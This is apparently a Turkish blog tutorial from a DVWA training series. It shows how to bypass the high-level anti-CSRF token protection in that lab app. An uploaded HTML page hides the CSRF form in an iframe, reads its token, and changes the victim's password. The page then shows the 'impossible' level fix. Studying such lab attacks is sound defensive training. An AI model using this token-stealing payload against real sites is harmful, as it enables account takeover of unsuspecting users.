DVWA Cross Site Request Forgery (High Level)
Merhaba, bu yazıda dvwa web uygulamasında csrf için güvenlik high seviyeye çıkarıldığında ne önlem alındığı ve nasıl bu güvenliğin atlatılabileceği gösterilecektir.

Konuya giriş yapmadan önce bu yazının dahil olduğu dvwa eğitim serisindeki tüm makalelere şu adresten


bu yazının ilintili olduğu dvwa eğitim serisindeki diğer makalelere ise şu adreslerden


erişebilirsiniz.

DVWA Cross Site Request Forgery High Güvenlik Seviyesinde Önlem

Önceki derste csrf önlemini atlatmıştık ve xss ile csrf saldırılarını birleştirerek kullanıcıya istemeden bir aksiyon aldırtmıştık. Peki High güvenlik seviyesinde bizi ne gibi bir önlem karşılıyor bir bakalım.

Cross Site Request Forgery (High level):

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>
Evet. 5nci satırda görülebileceği gibi csrf token önlemi bizi karşılaşıyor. CSRF token web uygulamanın kullanıcıya her yanıt paketinde farklı değerde gönderdiği bir değişken karakterler dizisidir. Web uygulamalar kullanıcılardan istekleri alırlarken gönderdikleri token değeri geliyor mu kontrolü yaparak isteği işleyip işlememe kararı alırlar. Eğer gönderdiği token geri geliyorsa işleme sokarlar. Farklı değer geliyorsa işleme sokmazlar. Şimdi böyle bir yapıda xss ile csrf'i birleştirip medium seviyede yaptığımız gibi saldırı düzenlesek xss payload'u kurban ekranında çalıştığında ve csrf tetiklendiğinde token değeri olmayacaktır. Ya da olacaktır ama saldırganın web uygulamanın kabul ettiği en son token'ı bilmesi pek de mümkün olmadığından geçersiz olacaktır. Dolayısıya istek işleme alınmayacaktır ve csrf saldırısı önlenmiş olacaktır. Peki bu önlem atlatılabilir mi? Evet atlatılabilir.

DVWA Cross Site Request Forgery High Güvenlik Seviyesini Atlatma

Bu güvenlik seviyesinde CSRF saldırılarını modern web tarayıcılarda yapabilmek için saldırıyı bir başka saldırı olan Cross Site Scripting (XSS) ile birleştirmek yine şarttır. XSS sonraki derslerin konusu ama tekrardan burada yeri gelmişken kısaca değinmek gerekirse XSS bir javascript ve html enjeksiyonu saldırısıdır. Javascript ve html kodu enjekte ederek defacement (arayüz tahribi), oltalama (örn; sahte login ekranları), ddos (kurban web tarayıcılarını ddos da bot olarak kullanma), çerez çalma (oturum çalma) v.b. sonuçlar elde edilebilir.

High güvenlik önlemini atlatmak için hazırlayacağımız xss payload'u biraz büyükçe olduğundan DVWA'nın reflected XSS ve stored XSS sayfalarındaki girdi alanlarında yer alan sunucu taraflı karakter limitine takılmaktadır. Bu nedenle şöyle bir şey yapacağız: CSRF saldırısı düzenleyebilemek için XSS payload'unu File Upload zafiyeti üzerinden çalıştıracağız. Bu dvwa'da xss sayfalarındaki karakter limiti dolayısıyla gerekecektir. Ancak file upload'la da aynı işlemin yapılabileceğini göstermek adına ilave bir örnek olmuş olacaktır.

Gereksinimler

* Kurban : Windows 10 Host Sistem
* Saldırgan : Kali Linux 2022.1 VM
* Hedef Web Uygulama : DVWA ve WebGoat (Ubuntu 14.04 LTS) VM

1. Saldırgan DVWA uygulamasını low level güvenlik seviyesine çeker.





Bunu yapıyoruz, çünkü csrf zafiyetli hedef web uygulamanın ful bir şekilde file upload zafiyetine sahip olduğunu varsayıyoruz.

2. Saldırgan Kali Linux VM'de DVWA File Upload sayfasında gider ve örneğin "tmp.html" isimli dosyayı upload'lar.

Not:

DVWA_WEB_SERVER_IP_ADDRESS yazan yerlerin sizdeki dvwa web uygulamasının ip adresi ile güncellenmesi gerekmektedir.

tmp.html:

<iframe id="csrfAciklikliSayfa" src="http://DVWA_WEB_SERVER_IP_ADDRESS/dvwa/vulnerabilities/csrf" style="width:1px;height:1px;visibility:hidden;" onload="csrfSaldirisi();"></iframe>

<script>
    function csrfSaldirisi() {
        console.log("csrf attack started");
        
        var iframe = document.getElementById("csrfAciklikliSayfa");
        var doc = iframe.contentDocument  || iframe.contentWindow.document;
        var token = doc.getElementsByName("user_token")[0].value;
        const http = new XMLHttpRequest();
        const url = "http://DVWA_WEB_SERVER_IP_ADDRESS/dvwa/vulnerabilities/csrf/?password_new=saat&password_conf=saat&Change=Change&user_token="+token+"#";
        http.open("GET", url);
        http.send();
        console.log("password changed");
    }
</script>








Bu payload kısaca ne yapıyor açıklamak gerekirse hedef web uygulamada iframe ile hedef web uygulamanın csrf zafiyetli web sayfasını çekiyor ve görüntüleme yapıyor. Her ne kadar görüntünün görünmeyecek şekilde ayarlanmasını sağlasak da. iframe ile bu şekilde gelen web sayfasında csrf token da haliyle gelmektedir. Payload'un devamında javascript kodlarıyla iframe'in içerisindeki csrf zafiyetli web sayfanın kaynak kodu parse ediliyor (ayrıştırılıyor) ve web sunucunun kabul ettiği csrf token değeri elde ediliyor. Ardından payload'un devamında o token değeri kullanılarak csrf saldırısı (ajax isteği) düzenleniyor. Böylelikle csrf kusursuzca gerçekleşiyor.

Bu dosya yükleme adımını hedef web uygulamada XSS saldırısı düzenledik durumunu simule etmek için kullanıyoruz.

3. Kurban Windows 10 Host sistemde Edge web tarayıcıda DVWA'ya login olur.





4. Kurban DVWA'yı High level'a çeker.



Bunu yapıyoruz, çünkü dvwa web uygulamasının csrf önlemi olarak high seviyede bir güvenlik çözümü kullandığını ele alıyoruz.

4. Ardından kurbanın hedef web uygulamada xss payload'unun yer aldığı web sayfasını ziyaret ettiğini varsayalım:

http://192.168.56.136/dvwa/hackable/uploads/tmp.html




Böylece high güvenlik düzeyinde CSRF saldırısı yine gerçekleşir ve kurbanın parola değişir.

5. Kurban oturumda çıktığında tekrar "password" ile girmeyi denediğinde giremeyecektir ama payload'da da yer aldığı gibi "saat" ile girmeyi denediğinde giriş yapabilecektir.







DVWA Cross Site Request Forgery Impossible Güvenlik Seviyesi

Bir web geliştirici low, medium ve high seviyelerindeki çözümlerle uygulamasını csrf saldırılarından koruyamaz. Bu makale serisinde bunu görmüş olduk. Geliştirici impossible seviyesindeki çözümü uygulamalıdır.

Cross Site Request Forgery (Impossible):

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = mysql_real_escape_string( $pass_curr );
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
5nci satırda üçüncü taraf web uygulamalardan (dışarıdan) web uygulamaya csrf saldırısı düzenlenmesi önlenmiş olur. 8nci satırda ise kullanıcıdan ekstra bir bilgi daha istenilir. O da parolanı değiştirmek istiyorsan mevcut parolanı gir bilgisi. Bu bilgi şartı eklendiğinde csrf saldırılarına karşı bu form alanı tamamen korunmuş olur.

Yararlanılan Kaynaklar:

  • https://systemweakness.com/hackerman-sergio-csrf-tutorial-dvwa-high-security-level-4cba47f2d695
Bu yazı 24.03.2025 tarihinde, saat 02:38:17'de yazılmıştır. 25.03.2025 tarihi ve 04:45:20 saatinde ise güncellenmiştir.
Yazar : Hasan Fatih ŞİMŞEK Görüntülenme Sayısı : 116
Yorumlar
Henüz yorum girilmemiştir.
Yorum Ekle
*
* (E-posta adresiniz yayınlanmayacaktır.)
*
*

#Arşiv


#Giriş

ID :
Şifre :